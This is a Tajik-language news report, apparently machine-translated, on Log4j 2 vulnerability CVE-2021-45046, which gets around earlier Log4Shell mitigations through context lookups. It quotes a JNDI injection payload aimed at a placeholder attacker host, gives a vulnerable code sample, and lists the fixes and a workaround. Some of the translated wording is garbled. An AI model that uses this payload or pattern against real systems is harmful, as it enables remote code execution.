Варианти нави ҳамла барои Log4j 2, ки ба шумо имкон медиҳад, ки аз муҳофизати иловагӣ канорагирӣ кунед

Як осебпазирии дигар дар татбиқи ҷустуҷӯҳои JNDI дар китобхонаи Log4j 2 (CVE-2021-45046) муайян шудааст, ки сарфи назар аз ислоҳҳои дар нашри 2.15 иловашуда ва новобаста аз истифодаи танзимоти “log4j2.noFormatMsgLookup” барои муҳофизат пайдо мешавад. Мушкилот асосан барои версияҳои кӯҳнаи Log4j 2 хатарнок аст, ки бо истифода аз парчами "noFormatMsgLookup" ҳифз шудаанд, зеро он имкон медиҳад, ки муҳофизат аз осебпазириҳои қаблӣ (Log4Shell, CVE-2021-44228), ки ба шумо имкон медиҳад коди худро дар компютер иҷро кунед. сервер. Барои корбарони версияи 2.15, истисмор танҳо бо сабаби қатъ шудани барнома аз сабаби тамом шудани захираҳои мавҷуда маҳдуд аст.

Осебӣ танҳо дар системаҳое пайдо мешавад, ки Ҷустуҷӯи контекстӣ барои сабти ном, ба монанди ${ctx:loginId} ё қолибҳои MDC (Харитаи контексти Thread), аз қабили %X, %mdc ва %MDC истифода мебаранд. Амалиёт ба фароҳам овардани шароит барои баровардани маълумоти дорои ҷойгузинҳои JNDI ба журнал ҳангоми истифодаи дархостҳои контекстӣ ё қолабҳои MDC дар барнома, ки қоидаҳои форматкунии баромадро ба гузориш муайян мекунанд, оғоз меёбад.

Муҳаққиқони LunaSec қайд карданд, ки барои версияҳои Log4j камтар аз 2.15, ин осебпазирӣ метавонад ҳамчун вектори нав барои ҳамлаи Log4Shell истифода шавад, ки боиси иҷрои код мегардад, агар дар баромади гузориш ифодаҳои ThreadContext, ки маълумоти беруниро дар бар мегиранд, новобаста аз он ки парчами "муҳофизат" фаъол аст. noMsgFormatLookups" ё қолаби "%m{nolookups}".

Варианти нави ҳамла барои Log4j 2, ки ба шумо имкон медиҳад, ки аз муҳофизати иловагӣ канорагирӣ кунед

Гузаштан аз муҳофизат ба он бармеояд, ки ба ҷои ивазкунии мустақими "${jndi:ldap://attacker.com/a}", ин ифода тавассути арзиши тағирёбандаи фосилавӣ иваз карда мешавад, ки дар қоидаҳои форматкунии баромади гузориш истифода мешавад. . Масалан, агар дархости контекстии ${ctx:apiversion} ҳангоми баровардан ба гузориш истифода шавад, пас ҳамла метавонад бо иваз кардани маълумоти "${jndi:ldap://attacker.com/a}" ба арзише, ки ба тағирёбандаи apiversion навишта шудааст. Намунаи рамзи осебпазир: appender.console.layout.pattern = ${ctx:apiversion} - %d{yyyy-MM-dd HH:mm:ss} -5p %c{1}:%L - %m%n @ GetMapping("/") Индекси оммавии сатр(@RequestHeader("X-Api-Version") String apiVersion) { // Қимати сарлавҳаи HTTP "X-Api-Version" ба ThreadContext ThreadContext.put("apiversion" интиқол дода мешавад. ", apiVersion); // Ҳангоми баровардан ба гузориш, арзиши апиверсионии беруна бо истифода аз ивазкунии ${ctx:apiversion} logger.info("Дархост барои версияи API гирифта шуд"); бозгаштан "Салом, ҷаҳон!"; }

Дар версияи Log4j 2.15 осебпазириро барои анҷом додани ҳамлаҳои DoS ҳангоми интиқоли арзишҳо ба ThreadContext истифода бурдан мумкин аст, ки дар натиҷа як ҳалқа дар коркарди қолаби форматкунии баромад ба вуҷуд меояд.

Варианти нави ҳамла барои Log4j 2, ки ба шумо имкон медиҳад, ки аз муҳофизати иловагӣ канорагирӣ кунед

Барои бастани осебпазирӣ, навсозиҳои 2.16 ва 2.12.2 нашр шуданд. Дар филиали Log4j 2.16, ба ғайр аз ислоҳҳое, ки дар версияи 2.15 амалӣ карда шудаанд ва ҳатмии дархостҳои JNDI LDAP ба "localhost", функсияи JNDI ба таври нобаёнӣ комилан ғайрифаъол аст ва дастгирии қолибҳои ивазкунии паёмҳо хориҷ карда мешавад. Ҳамчун як роҳи ҳалли амният, тавсия дода мешавад, ки синфи JndiLookup аз роҳи синф хориҷ карда шавад (масалан, “zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class”) .

Шумо метавонед пайдоиши ислоҳҳоро дар бастаҳо дар саҳифаҳои тақсимот (Debian, Ubuntu, RHEL, SUSE, Fedora, Arch) ва истеҳсолкунандагони платформаи Java (GitHub, Docker, Oracle, vmWare, Broadcom ва Amazon/AWS, Juniper, VMware, Cisco, IBM, Red Hat, MongoDB, Okta, SolarWinds, Symantec, McAfee, SonicWall, FortiGuard, Ubiquiti, F-Secure ва ғайра).

Манбаъ: opennet.ru

Илова Эзоҳ